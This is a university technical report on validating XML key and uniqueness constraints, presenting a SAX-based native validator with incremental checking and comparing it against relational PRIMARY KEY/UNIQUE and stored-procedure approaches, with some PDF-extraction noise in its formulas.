"__label__software": 0.0081024169921875, "__label__software_dev": 0.9072265625, "__label__sports_fitness": 0.0002548694610595703, "__label__transportation": 0.0006608963012695312, "__label__travel": 0.0001710653305053711}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 31568, 0.0337]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 31568, 0.81201]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 31568, 0.82975]], "google_gemma-3-12b-it_contains_pii": [[0, 1910, false], [1910, 4911, null], [4911, 7889, null], [7889, 8940, null], [8940, 11505, null], [11505, 14114, null], [14114, 17445, null], [17445, 20391, null], [20391, 24272, null], [24272, 27133, null], [27133, 29187, null], [29187, 31155, null], [31155, 31568, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1910, true], [1910, 4911, null], [4911, 7889, null], [7889, 8940, null], [8940, 11505, null], [11505, 14114, null], [14114, 17445, null], [17445, 20391, null], [20391, 24272, null], [24272, 27133, null], [27133, 29187, null], [29187, 31155, null], [31155, 31568, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 31568, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 31568, null]], "pdf_page_numbers": [[0, 1910, 1], [1910, 4911, 2], [4911, 7889, 3], [7889, 8940, 4], [8940, 11505, 5], [11505, 14114, 6], [14114, 17445, 7], [17445, 20391, 8], [20391, 24272, 9], [24272, 27133, 10], [27133, 29187, 11], [29187, 31155, 12], [31155, 31568, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 31568, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
9938ac3221c04badd10472441ac8e1a08e956631
|
January 2002
Validating Constraints in XML
Yi Chen
*University of Pennsylvania*
Susan B. Davidson
*University of Pennsylvania*, susan@cis.upenn.edu
Yifeng Zheng
*University of Pennsylvania*
Follow this and additional works at: [http://repository.upenn.edu/cis_reports](http://repository.upenn.edu/cis_reports)
**Recommended Citation**
Validating Constraints in XML
Abstract
The role of XML in data exchange is evolving from one of merely conveying the structure of data to one that also conveys its semantics. In particular, several proposals for key and foreign key constraints have recently appeared, and aspects of these proposals have been adopted within XMLSchema. Although several validators for XMLSchema appear to check for keys, relatively little attention has been paid to the general problem of how to check constraints in XML.
In this paper, we examine the problem of checking keys in XML documents and describe a native validator based on SAX. The algorithm relies on an indexing technique based on the paths found in key definitions, and can be used for checking the correctness of an entire document (bulk checking) as well as for checking updates as they are made to the document (incremental checking). The asymptotic performance of the algorithm is linear in the size of the document or update. We also discuss how XML keys can be checked in relational representations of XML documents, and compare the performance of our native validator against hand-coded relational constraints. Extrapolating from this experience, we propose how a relational schema can be designed to check XMLSchema key constraints using efficient relational PRIMARY KEY or UNIQUE constraints.
Comments
University of Pennsylvania Department of Computer and Information Science Technical Report No. MS-CIS-02-03.
This technical report is available at ScholarlyCommons: http://repository.upenn.edu/cis_reports/31
Validating Constraints in XML
Yi Chen, Susan B. Davidson and Yifeng Zheng
Dept. of Computer and Information Science
University of Pennsylvania
yicn@saul.cis.upenn.edu, susan@cis.upenn.edu, yifeng@saul.cis.upenn.edu
Abstract
The role of XML in data exchange is evolving from one of merely conveying the structure of data to one that also conveys its semantics. In particular, several proposals for key and foreign key constraints have recently appeared, and aspects of these proposals have been adopted within XMLSchema. Although several validators for XMLSchema appear to check for keys, relatively little attention has been paid to the general problem of how to check constraints in XML.
In this paper, we examine the problem of checking keys in XML documents and describe a native validator based on SAX. The algorithm relies on an indexing technique based on the paths found in key definitions, and can be used for checking the correctness of an entire document (bulk checking) as well as for checking updates as they are made to the document (incremental checking). The asymptotic performance of the algorithm is linear in the size of the document or update. We also discuss how XML keys can be checked in relational representations of XML documents, and compare the performance of our native validator against hand-coded relational constraints. Extrapolating from this experience, we propose how a relational schema can be designed to check XMLSchema key constraints using efficient relational PRIMARY KEY or UNIQUE constraints.
1 Introduction
Keys are an essential aspect of database design, and give the ability to identify a piece of data in an unambiguous way. They can be used to describe the correctness of data (constraints), to reference data (foreign keys), and to update data unambiguously.
The importance of keys for XML has recently been recognized, and several definitions have been introduced [1]. Aspects of these proposals have found their way into XMLSchema by the addition of UNIQUE and KEY constraints [2]. These proposals overcome a number of problems with the older notion of “ID” (and “IDREFS”): First, IDs are like oids and carry no real meaning in their value. In comparison, a key in the relational database sense is a set of attributes, and is value-based. Second, IDs must be globally unique. Third, they do not carry a notion of hierarchy, which is a distinguishing feature of XML.
As an example of the type of keys we might wish to define for an XML document, consider the sample document “universities.xml” represented in tree form in Figure 1. The document describes a set of universities, each of which has a set of departments. Employees can either work directly for the university or within a department. We might wish to state that the key of a university is its name. We might also wish to state that within a university an employee can be uniquely identified by her/his employeeID attribute (The symbol in Figure 1 denotes that employeeID is an attribute). Another key for an employee might be her/his telephone number (which can be a set of numbers) together with name, within the context of the whole repository.
Although definitions of keys for XML have been given, the question of how to best validate these constraints has not been solved. Building an efficient validator for key
constraints entails a number of challenges: First, unlike relational databases, keys are not localized but may be spread across a large part of the document. In our example, since university elements occur at a top level of nesting, the names of universities will be widely separated in the document. Second, keys can be defined within a particular context. In our example, employees are identified by their employeeID within the scope of a university. Third, an element may be keyed by more than one key constraint or may appear at different levels in the document (as with employees). Fourth, the validator should be incremental. That is, if an XML document has already been validated and an update occurs, it should be possible to validate just the update rather than the entire updated document, assuming that key information about the XML document is maintained.
The most straightforward strategy for building a validator is to develop a native XML key checker using SAX or DOM. Several XMLSchema validators have recently appeared which claim to support XMLSchema KEY and UNIQUE constraints [3, 4]. A native validator is also presented in this paper which differs from these validators by supporting a broader definition of XML keys than that given in [2] and by being incremental. The validator is based on a persistent key index and techniques to efficiently recognize the paths present in XML keys. Another approach for building a validator recognizes that the XML data may be stored in a relational database, and leverages relational technology of triggers and PRIMARY KEY/UNIQUE constraints to perform the checking.
To motivate the importance of the second strategy, consider a community of biomedical researchers who are performing gene expression experiments and, upon the recommendation of their bioinformatics experts, store their data directly in a relational database (see e.g. the Stanford Microarray Database [5], which uses Oracle). To exchange data, researchers convert their data into an agreed upon XML standard, MAGE-ML [6]. This standard includes a specification of keys, which are localized to each group (e.g. the context of keys for the standard is within a group which is identified by a given id). Each group is therefore expected to produce data that is correct with respect to the keys. Since the data is already stored in a relational database, it would be much more efficient to ensure that the data in relational form is correct with respect to the XML keys using relational technology than to produce the XML version of this data and then validate it before exporting. Or, if a group did not trust others to produce correct data, it would be more efficient to check the keys while inserting the imported XML data into their relational implementation.
How well the relational approach works depends strongly on how the data is stored. For example, suppose our sample data is stored using hybrid inlining [7]. Assuming the obvious DTD, this creates the following relational schema: University(UID, Name), Department(DID, parentID, Name), Employee(EID, parentID, parentCODE, EmployeeID, Name), TelNumber(TID, tel, parentID).
To enforce the first key (the name of a university is its key), we can specify Name to be PRIMARY KEY or UNIQUE for the University relation using SQL DDL. To enforce the second XML key (within a university, an employee can be uniquely identified by her/his employeeID), we must create a stored procedure which triggers upon update to join Employee with University, Employee with Department and University, and take the union of results. The checking procedure for the third key is even more complicated.
Moreover, suppose we have an XML file whose structure is extremely irregular, and therefore adopt an edge approach [7] for storage. In this case, checking even the simplest key constraint entails multiple joins and unions and will be very expensive.
The choice between a native strategy and a relational strategy is also influenced by the structure of the XML keys. In [1], the keys may be set-valued (weak keys) and may have a complex structure (i.e. the value of a key can be an XML sub-tree). In this case, validating key constraints using a relational database is extremely hard if not impossible. However, XMLSchema assumes that key values are either attributes or text and that they must occur exactly once (corresponding to a restriction of strong keys in [1]). In this case, we will show that it is possible to use relational technology, and advisable to do so if relational storage is already being used for storing the document.
The relational strategy also has several limitations: First, if the document is to be validated, the transformation to the relational schema must be information capacity preserving [8], at least with respect to the key information. This is not true for arbitrary transformations expressed, for example, in STORED [9]. Second, mapping XML key constraints to a fixed relational schema is an (as yet) unsolved problem (see [10] for preliminary results). However, if the schema can be modified then, for the restricted case of keys used in XMLSchema, this problem is solvable. Third, storing XML into an RDBMS involves a lot of overhead, and is not worth the cost unless the document will be used in that form (e.g. for efficient querying).
In this paper, we make the following contributions:
1. A native XML constraint validator, which can be used for XMLSchema KEY and UNIQUE constraints as well as for those in [1].
2. Bulk loading and incremental checking algorithms with complexity that is proportional to the size of the affected context (assuming a fixed number of keys are currently activate), hence is near optimal.
3. Experimental results showing the trade-off between our native approach and one based on relational technology.
The rest of the paper is organized as follows: Section 2 introduces a definition of keys and presents our native XML constraint validator. Section 3 presents experimental results showing the trade-off between our native approach and one based on relational technology. Section 4 discusses schema design techniques for validating XMLSchema keys using relational PRIMARY KEY/UNIQUE technology, and discusses related work. We conclude with a summary and discussion of future work in Section 5.
2 XML Keys and the Native Validator
In defining a key for XML we specify three things: the context in which the key must hold, a set on which we are defining a key and the values which distinguish each element of the set. Since we are working with hierarchical data, specifying the context, set, and values involve path expressions.
Using the syntax of [1]¹ a key can be written as
\[(Q, (Q', \{P_1, \ldots, P_p\}))\]
where \(Q, Q'\), and \(P_1, \ldots, P_p\) are path expressions. \(Q\) is called the context path, \(Q'\) the target path, and \(P_1, \ldots, P_p\) the key paths. The idea is that the context path \(Q\) identifies a set of context nodes; for each context node \(n\), the key constraint must hold on the set of target nodes reachable from \(n\) via \(Q'\).
For example, using XPath notation for paths, the keys of Section 1 can be written as:
- \(KS_1 = (/, (/university, {/name}))\): Within the context of the whole document ("/" denotes the empty path from the root), a university is identified by its name.
- \(KS_2 = (university, (/employee, {/@employeeID}))\): Within a university an employee can be uniquely identified by his/her employeeID ("/" refers to any sequence of labels).
- \(KS_3 = (/, (/employee, {/name, /tel}))\): Within the context of the whole document, an employee can be identified by their name and set of telephone numbers.
Definition 2.1: An XML tree \(T\) is said to satisfy a key if for each context node \(n\) and for any target nodes \(m_1, m_2\) reachable from \(n\) via \(Q'\), whenever there is a non-empty intersection of values for each key path \(P_1, \ldots, P_p\) from \(m_1, m_2\), then \(m_1\) and \(m_2\) must be the same node.
For example, \(KS_3\) is satisfied in the XML tree of Figure 1 since employee 123-00-6789 and 120-44-7651 are both within the context of the same university (PENN), and although they share the same name (Mary Smith) they do not share any telephone number. The key would also hold if we eliminated the telephone number for the first Mary Smith.
¹ We adopt this because it is more concise than that of XMLSchema.
(123-00-6789) since \(\emptyset \cap \{215 - 898 - 5042, 215 - 573 - 9129\} = \emptyset\). Although in these examples the key values are all sets of element of type string (text), in general the key values may be sets of XML trees. In this case, the notion of equality used to compute set intersection must be extended to one of tree equality.
While this definition of keys for XML is quite general, the one given in XMLSchema has the following restriction: Keys paths must be attributes or elements which occur exactly once and are text. This is a strong key defined in [1]. For example, \(KS_1\) is only expressible if the name of a university is mandatory (and unique). Since our sample XML tree has multiple occurrences of tel within employees, \(KS_2\) is not expressible. Furthermore, if the name of an employee had subelements fi lastname and lastname, \(KS_2\) would not be expressible since the key values are XML trees rather than text. Note that this definition of keys is tied to the schema while the definition of [1] does not require a schema. Also note that under the restrictions of XMLSchema, the key constraint states that target nodes must differ on some key value (analogous to the key constraint of relational databases). The XMLSchema UNIQUE constraint can also be captured by a key of form \((Q, (Q', {}))\) defined in [1] which states that, under a context node defined by \(Q\), the target node defined by \(Q'\) is unique.
The path expression language used to define keys in XMLSchema is a restriction of XPath, and includes navigation along the child axis, disjunction at the top level, and wildcards in paths. This path language can be expressed as follows:
\[c ::= . \mid / \mid .q \mid q/q \mid .//q \mid c|c\]
\[q ::= l \mid q/q \mid -\]
Here "/" denotes the root or is used to concatenate two path expressions, "." denotes the current context, \(l\) is an element tag or attribute name, "." matches a single label, and ".//" matches zero or more labels out of the root.
Note that just using key \(KS_2\), we are not able to uniquely identify an employee node by its employeeID. That is, \(KS_2\) is scoped within the context of a university node rather than within the scope of the root of the XML tree. However, given a key for the context node of \(KS_2\), i.e. the name of a university \((KS_1)\), we can then identify an employee node by its employeeID. The ability to recursively define context nodes up to the root of the tree is called a transitive set of keys [1]: \(\{KS_1, KS_2\}\) is a transitive set of keys, as is \(\{KS_2\}\) since its context is already the root of the tree. That is, \(KS_2\) is scoped within the context of a university rather than within the scope of the root.
2.1 The XML Key Index
The XML constraint validator is based on a key index, which can be thought of in levels. The top level is the key specification level, which partitions the nodes in the XML tree according to their key specifications. Since a node may
Figure 2: Key index for universities.xml
<table>
<thead>
<tr>
<th>KS₁</th>
<th>0</th>
<th>name</th>
<th>UPENN</th>
<th>{1}</th>
</tr>
</thead>
<tbody>
<tr>
<td>KS₂</td>
<td>1</td>
<td>employee id</td>
<td>123-00-6789</td>
<td>{4}</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td>name</td>
<td>Mary Smith</td>
<td>{4,15}</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td>tel</td>
<td>215-898-5042</td>
<td>{4}</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>215-573-9129</td>
<td>{4}</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>215-898-2661</td>
<td>{15}</td>
</tr>
</tbody>
</table>
From the index of KS₁ in Figure 2, we know that name is a key of university and that the context is the root (node 0). The KVSC of university nodes with the key value ‘UPENN’ following key path name is \{1\}. Since @employeeID is the key path of an employee node under the context of a university (KS₂), we can get the KVSC of employee nodes with the key value ‘120-44-7651’ following the key path @employeeID under the context node 1. This class contains node 15.
2.2 Architecture for XML Constraint Validator
The architecture of our XML constraint validator is shown in Figure 3. The validator takes an XML key specification and document as input. Initially, the start module of the Key manager takes the key specification and sends the context path expression for each key to DFA manager. As the XML data streams into the SAX parser, events are generated and sent to DFAs in an active DFA pool; state transitions occur in response to these events. For each incoming path expression \(P\), the DFA manager determines which DFA parses the path expression \(P\), \(DFA(P)\). If \(DFA(P)\) is in the active DFA pool, the DFA manager modifies the current state set of \(DFA(P)\) (to be described later); if \(DFA(P)\) is in the inactive DFA pool, it will be activated and sent to the active DFA pool; otherwise, if \(DFA(P)\) is not in either pool, the DFA manager sends \(P\) to a DFA constructor which constructs \(DFA(P)\) to parse \(P\) and put it into the active DFA pool. All DFAs in the active DFA pool make state transitions according to the event sent by the SAX parser. If any of them reaches its accepting state, it will signal the PE(path expression) engine of the Key Manager, which in turn decides the next path expression need to be parsed according to key specification. Any DFA that is not needed (to be described later) is deactivated and put in the inactive DFA pool.
2.3 Index Construction
As hinted at in the previous subsection, the index can be constructed in one pass over the XML file using a SAX parser and a set of DFAs which represent the context (\(Q\)), target (\(Q'\)) and key paths (\(P₁, \ldots, P_p\)) for each XML key \(K\). As the document streams in, each node is assigned a unique internal id. The internal id and tag of each node (the node info) is then communicated to the DFAs, which may trigger a state change.
Since a target node can only appear after its context node, \(DFA(Q')\) is only activated when the accept state of \(DFA(Q)\) has been reached. Similarly, \(DFA(P_i), i = 1 \ldots p\) are only activated when the accept
state of $DFA(Q')$ has been reached. To keep track of which node infos are still current (i.e., tags whose corresponding closing tag has not yet been encountered), a stack is used.
When the accepting state for a context path is reached, the context node information is added to the index. Similarly, when the DFA for a key path reaches its final state, the id of the target node which activated the key path DFA and the key value recognized are added to the index. When the DFA for a target node reaches its final state, the process to check satisfaction of the key specification is invoked (discussed in Section 2.1).
We optimize the algorithm in the following ways: First, the DFA manager constructs DFAs only when we try to match their path expression for the first time. Second, only one DFA is maintained per path expression, hence there is a set of current states representing all the activating nodes info. Each new tag that is encountered triggers the state transition for all current states, for each DFA in the active DFA pool. Third, we only activate a DFA when necessary. When a DFA is not being used, we deactivate it rather than destroy it. These optimizations allow us to construct at most once a single DFA for each path expression, and maintain it only for as long as necessary.
2.4 Incremental Maintenance
To describe how the native checker handles updates, we focus our attention on two basic (unordered) tree operations: insertion of a new tree below an update node, and deletion of the tree below an update node. These updates are specified as $insert(n, T_u)$ and $delete(n)$, where $n$ is the internal id of the node to be updated, and $T_u$ is a tree to be inserted.
For example, an update to $universities.xml$ which gives the employee node 15 another telephone number “215-898-5042” could be written as $insert(15, T_u)$, where the content of $T_u$ is `<tel> 215-898-5042 </tel>`. Node 15 could also be identified by a transitive set of key values as shown in Example 2.1.
Note that the XML standard for updates, XMLUpdate, has not yet been finalized, but currently includes many other operations, including specifying order in insertion, append, update and rename [13]. These operations could be handled within our framework, however limiting the updates considered simplifies the discussion. We can use any XML update language with (transitive) key values as predicates to locate the update node.
The incremental maintenance algorithm takes as input a delta XML tree, which reflects the changes to the initial XML document, and modifies the initial index so that is correct with respect to the updated XML tree.
A delta XML tree can be understood as follows: Given an update $insert(n, T_u)$, we create a tree $T_n$ which is the path in the original document from the root to $n$. The delta XML tree $\delta_T$ is then generated by grafting $T_u$ as a child of $n$ in $T_n$ (see Figure 4). Given an update $delete(n)$, the delta XML tree $\delta_D$ is formed by grafting the subtree rooted at $n$ onto $T_n$.
Since our index is hierarchical, updates may affect the index at different levels. We can divide them into four cases by the effect of this update:
1. Entries at the context level are inserted or deleted. Note that bulk loading is a special case in which the delta XML tree is the entire tree.
2. One or more target nodes along with their key values are inserted or deleted.
As an example, the insertion of an employee node as a child for the university node 1, that is, $insert(1, T_u)$ where the content of $T_u$ is
One or more key value(s) of an existing target node under some context are inserted or deleted. The effect on $KS_3$ for the update $insert(15,T_u)$, where the content of $T_u$ is
$$<tel>215-898-5042 </tel>,$$
is an example of this case.
4. The key value is changed.
This case can only happen when the key value is a tree instead of a text node and we are inserting or deleting a subtree of a key node under an existing target node. For example, consider a modified version of the tree in Figure 1 in which the name of employee node has two children: $firstname$ and $lastname$ (e.g. node 6 with label name has a $firstname$ node with value Mary and a $lastname$ node with value Smith). If we delete the $firstname$, then the key value of the employee node 4 in $KS_3$ will be changed and key constraints need to be checked.
It is clear that since insertions introduce new values, the index must be maintained whenever the insertion interacts with the context, target or key path of some key. Deletion is more surprising: Although deletions in relational databases can never violate a key constraint, in the context of XML they may change some key value. Therefore the index must be maintained whenever a deletion interacts with some key path (case 4 above). The next question will be how to determine when an update “interacts” with a context, target or key path expression. This can be done by reasoning about the concatenation of labels from the root to the update node in $T_m$, and the paths $Q, Q.Q'$ and $Q.Q'.P_j$. Details can be found in the technical report [11].
In the last two cases, a new key value for a node is inserted into the index. It turns out that it is quite inefficient to check if this causes a key constraint violation using only the key index presented so far since it entails retrieving all the key values of the updated node. We therefore build an auxiliary index on the key index to retrieve these key values efficiently, which indexes each target nodes under their context node. For each key path $P_j$, it keeps a pointer to the key values for the target node.
**Example 2.2:** Consider the insertion of a telephone number
$$<tel>215-898-5042 </tel>$$
to the employee with employeeID=120-44-7651 within the university whose name=UPENN.
From Example 2.1, we can find the id of the update node (15) and construct the delta XML tree. It is easy to see that this update does not affect key specifications $KS_1$ and $KS_2$. It does, however, affect $KS_3$ by inserting a new key value (case 3). Processing the delta XML tree will result in the updated index structure of Figure 5. Following the pointers for node 15 in the auxiliary index structure, we can find all the KVSCs it belongs to: the KVSC for Mary Smith (4, 15), the KVSC for 215-898-2661 (15), and the KVSC for 215-898-5042 (4, 15). To check $KS_3$, we union the two KVSCs for key path $tel$ and get a set (4, 15). When we intersect this with the KVSC for key path name we get a conflicting node set, (4, 15). Since a violation is discovered, the update is rolled back.
**Theorem 2.3:** The asymptotic performance of the bulk loading and incremental algorithms is linear in the size of the affected context of the document, assuming that there are only a constant number of active states in each key at any given time.
**Proof:** According to the assumption, the number of DFAs and the number of DFA active states are constant. Therefore, when the SAX parser sends an event to the active DFAs the total number of state changes is constant. On the other hand, the number of events is proportional to the size of the affected context of the document. So we can say that the asymptotic performance of the algorithms is linear in the size of the affected context of the document.
This assumption appears to hold true in practice, as will be seen in the experimental results in Section 3. We have studied several real data sets and found that the distribution of the data is quite uniform. This means that at any given time, in practice the number of active DFAs and the number of active states of each DFA is bounded by a constant.
The details and analysis of these algorithms can be found in [11].
### 3 Experimental Results
To compare the performance of our native key validator versus using a relational approach, we store an XML document in a commercial relational database system using hybrid inlining and handcode the key constraints. All experiments run on the same 1.5GHz Pentium 4 machine with
---
2. We omit experiments using shared inlining because hybrid inlining offers better performance.
512MB memory and one hard disk with 7200rpm. The operating system is Windows 2000, and the DBMS is DB2 universal version 7.2 using the high-performance storage option. We use Java 2 to code the program and JDBC to connect to the database.
We do not report results for the edge mapping approach. Since it is based on the structure of XML rather than the semantics of the document, checking even the simplest of keys (e.g. the first key below) is several order of magnitude slower than the native validator.
3.1 Data set and keys
We use a synthetic data set generated by an XML Generator from the XML Benchmark project [14]. (We also ran experiments on real data sets, EMBL [15]. Since the results were similar, we omit them.) XML Generator was modified to generate a series of XML files of different sizes, according to DTD shown in Figure 6. Using hybrid-inlining [7], we create the following relational tables:
- `University(uID, name)`
- `School(sID, name, parentID)`
- `Department(dID, name, parentID, parentCode)`
- `ResearchGroup(rID, name, parentID)`
- `Employee(eID, name, employeeID, parentID)`
The keys to be validated are similar to those used earlier:
- $K_{S4}$: $(/.,(/university,../name)))$: Each university is identified by its name.
- $K_{S5}$: $(/university,(/department,../name)))$: Within a university, each department is identified by its name.
$$KS_6: ([/\text{university}, (/\text{employee}, [./\text{employeeID}, ])]):$$
Within a university, at whatever level they occur, each employee is uniquely identified by his/her employeeID.
To check $KS_4$, we specify attribute name to be the key for the university table. To check $KS_5$, we need to join school with department whose parent is school and union it with the department whose parent is university to get all possible (university.uid, department.name) pairs, and then check if there are any duplicates. Checking $KS_6$ is similar to $KS_5$ except more joins and unions are needed to get (university.uid, employeeID) pairs. Indices on (parentCode, parentID) or (parentID) are built on every table where applicable. To speed up key checking, we also build index (name, parentCode, parentID) on Department, and (employeeID, parentCode, parentID) on Employee.
### 3.2 Experiments
We model incremental updates by inserting a delta XML document of size 100KB into XML documents of different sizes. We plot the time needed for the relational approach versus the native validator time over a series of files of increasing sizes in Figure 7, 8, 9. Checks of $KS_4, KS_5$, and $KS_6$ are performed independently. Since the native validator is much faster than relational checking for $KS_5$, and $KS_6$, we use log scale for the Y axis. Note that the native validator is only slightly slower than using PRIMARY KEY ($KS_4$), and that its time is roughly constant since the update size is constant.
A comparison of the native validator key index size versus that of relational indices specifically designed for checking $KS_6$ is shown in Figure 10; results for $KS_5$ are similar. Our index is somewhat larger than the relational indices, however, the native validator is not currently optimized for space.
Figure 11 illustrates that unless an RDBMS is already being used as the storage strategy for the XML document, it should not be used just to check keys: the time needed to store the XML document is much larger than just using the native validator.
### 4 Discussion and Related Work
We now restrict our attention to keys as defined as in XMLSchema: the key value for each key path must exist and be unique, and each key path is a text or attribute node. It turns out that for this form of keys, it is possible to design relational schemas to perform efficient key checks.
The results of the previous section show that if the XML document is stored using relational technology then the fastest way to check an XML key is to use PRIMARY KEY or UNIQUE constraints. Therefore, it is important to design the relational schema with the keys in mind.
**Example 4.1:** Suppose we generate the relational instance shown in Figure 12 using hybrid inlining for the data of Figure 1 in which all telephone numbers are eliminated.
**Figure 12: Relational instance using inlining**
$KS_2$ can only be checked by a query involving joins and unions over this relational design. However, if we add the following relation:
$$KS_2$$
...then $KS_2$ can be checked by stating that (uid, EmpID) is PRIMARY KEY. To eliminate redundancy, we could have merged this table with Employee to create Employee(eid, parID, parCODE, uID, EmpID, Name), where (eid) is PRIMARY KEY, and (uid, EmpID) (for $KS_2$) is UNIQUE.
Generalizing from this example, what we need is a relational structure which mirrors the key structure. That is, for each XML key $(C, (T, \{K_1, \ldots, K_p\}))$, it is sufficient to ensure that a table $T$ containing an attribute $e$ representing the id of the context node, an attribute $t$ representing the id of a target node, and attributes $k_i(i = 1..p)$ for each key path is present in the relational schema. Note that $e$ and $t$ represent the relational database’s internal id for the context and target elements. We can then define a PRIMARY KEY or UNIQUE constraint on $(C, K_1, \ldots, K_p)$ for $T$. Note that no matter what XML to relational mapping strategy is used – even the edge approach, which does not require a DTD – this redundant table can always be built.
We must also ensure that the mapping from the XML instance to these key checking tables is complete. That is, the populated table must contain every match for $C, T$ and $K_1, \ldots, K_p$ in the document to ensure that whenever there is an XML key violation in the XML document it is caught by the relational key constraint check. Updates to the database must be made exclusively through the XML interface, and each one must be handled as a transaction.
The correctness of this approach follows from the correctness of the algorithm in Section 2 [11].
In some ways, this is analogous to designing relational schemas in 3NF, where a minimal basis is computed for a given set of functional dependencies and a schema is output corresponding to this basis [16]. Computing the minimal basis relies on a sound and complete set of inference rules for functional dependencies (Armstrong’s Axioms).
Unfortunately, little is known about computing a minimal basis of XMLSchema keys. Using a restricted path language, in [17] we have given a sound and complete set of inference rules for keys as defined in Section 2. The inference problem for XML keys is complicated by the fact that it involves reasoning about inclusion of path ex-
pressions. Since the restricted version of XPath used in XMLSchema is not comparable to that of [17], these rules must be rethought before they can be used to compute a minimal basis for XMLSchema keys.
Fortunately, the question of minimality of the XML keys is orthogonal to the question of ensuring that whenever there is an XML key violation in the XML document it is caught by the relational key constraint check.
**Related Work.** There are several native XMLSchema checkers and validators: XML-Schema-Quality-Checker of IBM [18] takes as input an XMLSchema and diagnoses improper uses of the schema language. However, it is not a validating parser, that is, it does not take as input an instance document and validate it against the schema. Microsoft XML Parser 4.0 (MSXML)[3] is a validating parser, but does not currently support regular expressions and appears to have some bugs with respect to keys. The University of Edinburgh has an ongoing schema validator project called XSV, but does not appear to have implemented XMLSchema keys [4].
The salient differences between the approach taken in these XMLSchema key validators and the one suggested in this paper are as follows. First, our definition of XML keys follows that of [1] which is more general than that given in XMLSchema. However, our key checker can easily be used to validate XMLSchema keys. Second, we have designed an incremental validation algorithm which verifies updates to an XML document. Other approaches are designed to parse the entire updated XML file to check the key constraints.
[19] proposed a lazy DFA where a DFA processing a set of path expressions is constructed from the NFA at runtime. This technique can also be used for DFA optimization in our native validator.
There are many proposals for mapping XML into relational databases. The edge approach described in [20] maps each edge in the XML tree to a tuple in a relation, thus capturing the structure rather than the semantics of XML data. The inlining techniques of [7] store XML into a relational database based on a DTD. They do not consider keys in this mapping, and in fact there may be conflicts between constraints expressed in a DTD and those expressed as keys. For example, the DTD `<ELEMENT foo (X,X)>` and the key `{0, `{X, {}}}` contradict each other [1]. LegoDB [21] is a cost-based XML to relational mapping, and explores alternatives based inlining/outlining and union factorization/distribution to favor a given query workload. However, this approach does not consider keys and may not guarantee the completeness of the transformation with respect to the keys. The Clio system [22] preserves certain constraints when performing the schema mapping, but loses keys. The XML-relational constraint mapping scheme mentioned at the beginning of this section is therefore (to our knowledge) the first XML storage mapping technique that preserves XML keys.
Note that another approach for mapping keys is to express them as XQuery queries and automatically translate them into SQL. For example, the key $KS_5$ can be expressed as the following XQuery:
```xquery
for $c in Document("universities.xml")/university,
$t1 in $c//department,
$t2 in $c//department
where boolean-and(not(node-equal($t1,$t2)),
$t1/name=$t2/name)
return $t1, $t2
```
If the result is the empty set, then the constraint is valid with respect to the data. Given the relational schema using hybrid inlining in the experiment and using the automatic mapping suggested in the XPERANTO project [23, 24], the corresponding SQL would be:
```sql
select did
from (select uid,dn, did, count(*) as c
from (select department.name dn, did, uid
from department, university
where ParentCode = "university"
and ParentID = uid
union
select department.name dn,did,uid
from school, department, university
where department.Pcode = "school"
and department.ParentID = sid
) as tmp
group by uid, dn) as tmp2
where c>1;
```
Such SQL queries are inefficient compared to using PRIMARY KEY/UNIQUE constraints. Using a constraint preserving mapping with key tables is therefore a much better approach.
5 Conclusions
In this paper, we focused on the problem of validating key constraints over XML documents. We discussed two alternative approaches: One approach is to validate XML key constraints using a native key checker. Although native validators for XMLSchema have been proposed, few have considered KEY and UNIQUE constraints. Our native XML constraint validator differs from these approaches in that it considers a broader class of keys than defined in XMLSchema, in which the value of keys may be XML trees rather than simple text and key paths can be set valued. The validator can be used for both bulk-loading (i.e. one pass over the entire document) and incremental checking (i.e. XML updates to the document can be processed and checked against a persistent key index for the file). Our validator can also be used with a little modification to check referential integrity in XMLSchema (KEYREF), since it already provides the ability to find a node according to its key value.
The other approach is to leverage relational technology. Observing that stored procedures involving joins are much more expensive to evaluate than PRIMARY KEY/UNIQUE constraints, we proposed designing the relational schema to include relations which mirror the XML keys. When these key relations are populated in a way that preserves all key information in the original XML document, XML keys can be efficiently checked using PRIMARY KEY/UNIQUE constraints. This approach will work for KEY and UNIQUE constraints as defined in XML Schema, or more generally, for strong XML keys as defined in [1]. It does not work for weak XML keys [1]. To our knowledge, this is the first XML-to-relational schema mapping that considers key constraints.
Experiments showing the trade-off between our XML key validator and relational techniques were also performed. The experiments show that the performance of our native validator for XML keys is roughly the same as PRIMARY KEY/UNIQUE checks in a relational database. However, our native validator performs better by several orders of magnitude than when the key checks are performed using complex stored procedures. It is therefore important to carefully design the relational schema if frequent updates are expected to take advantage of PRIMARY KEY/UNIQUE checks. Since the cost (time and space) to store an XML document in a relational database is high compared to the time and space of a native validator, however, the relational approach should only be used if the document is being stored relationally for other reasons (such as optimizing queries).
